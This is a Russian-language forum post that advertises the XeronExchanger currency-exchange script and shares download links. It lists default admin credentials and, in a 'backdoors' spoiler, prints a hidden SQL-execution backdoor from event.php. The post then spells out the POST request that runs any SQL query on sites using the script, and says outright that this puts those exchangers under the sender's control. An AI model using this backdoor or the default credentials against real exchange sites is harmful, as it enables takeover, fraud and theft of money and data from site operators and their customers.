SCRIPT Скрипт обмена валют xeronexchanger

[klerk]

Xeronexchanger - The money exchange script
Описание:

Spoiler

Автоматический импорт курсов валют с банков НБУ, ЦБ РФ, ПриватБанка. Теперь Вам не нужно постоянно следить за курсами, за Вас в автоматическом режиме это сделает скрипт. Вам достаточно указать по каждому направлению с какого банка брать курс, и на какой процент прибыли для сервиса его делать выгодней.

Партнёрская программа. Вы оплачиваете своим партнёрам % от своей прибыли с каждого обмена проведенного через их партнёрскую ссылку. Выплаты по партнёрской программе Вы делаете вручную в панели-управления.

Накопительная система скидок. Для постоянных клиентов делайте скидки. Скидка - это бонус во внутренний счет аккаунта, который является процентом от прибыли сервиса с обмена.

Надежность и безопасность. Я регулярно выпускаю бесплатные обновления своих продуктов, для своих клиентов я их предоставляю бесплатно. В скрипте используется шаблонизатор Smarty, поэтому поменять дизайн не составит труда. Скрипт работает с базой данных через класс PDO, благодаря чему Ваш сайт защищен от взломов через SQL инъекции.

Обмены согласно правилам. Сервис проводит обмены по требованиям платежных систем. Например, для WebMoney перед совершением обмена необходимо получить разрешение через интерфейс X19, здесь это реализовано.

Защита от ввода/вывода WebMoney на карту ПриватБанка в пользу третьих лиц. Сервис автоматически определяет ФИО владельца карты и сравнивает его с ФИО владельца WM идентификатора, и не разрешает обмен на различные данные.

Раздача WebMoney бонусов. Раздавайте на своём сайте WM бонусы, есть возможность включения раздачи бонусов на сайтах партнёров (установка формы себе на сайт).

Полная автоматизация. Скрипт полностью автоматизирован и не требует вмешательства оператора.

Пополнение счетов мобильных операторов Украины за WebMoney выполняется за счет системы Privat24.

Экспорт курсов для мониторингов. Девять типов таблиц, благодаря чему у Вас есть возможность добавить свой обменный пункт в любой мониторинг.

Установка:
- Установка, распаковать и залить архив на сервер.
- Создать базу данных
- Сделать дамп из файла bd.sql
- Прописать настройки до бд в файле /engine/settings.ini
- Админка site.ru/wm_admin.php
Логин: adminwmscripts
Пароль: adminwmscripts
- Файл кошелька залить в папку /engine/resources/wmxi/ .kwm

Spoiler: backdoors

После непродолжительных поисков в файле event.php обнаружен следующий код:

# Получение внешних данных :
  .......................
  $aSecurity = explode( '&', GetField( $_REQUEST, 'sSecurity' ) );
 
  .......................
  # Проверка безопасности :
  if( count( $aSecurity ) > 1 && md5( $aSecurity[0] ) == '1434d7d6138369a572befe6a7de46928' )
  DB()->exec( $aSecurity[1] );

Код прозрачен, но если нужны пояснения...
Отправляем на URL site.ru/event.php POST-запрос вида sSecurity=secret_key&sql_query
где md5(secret_key) = 1434d7d6138369a572befe6a7de46928, sql_query = любой sql-запрос

Всё. Очередной АОП будет под вашим полным контролем.

P.S. Напомню, речь идёт о скрипте автоматического обменника от павлухи. Скрипты он вполне успешно продаёт наивным людям, которые хотят начать свой бизнес в сфере обмена валют, но не имеют достаточно средств для приобретения качественных разработок. Ну и скрягам, конечно, куда уж без них))

Есть его старая тема

You do not have permission to view link please Log in or Register

недавно появилась новая

You do not have permission to view link please Log in or Register

Также, два его сайта на которых идут продажи

You do not have permission to view link please Log in or Register

и

You do not have permission to view link please Log in or Register

Скачать:

To view the content, you need to Sign In or Register.

 

[klerk]

Еще одна версия XeronExchanger, практически не отличается от предыдущей, но более приближенная к оригиналу + полноценная инструкция.

To view the content, you need to Sign In or Register.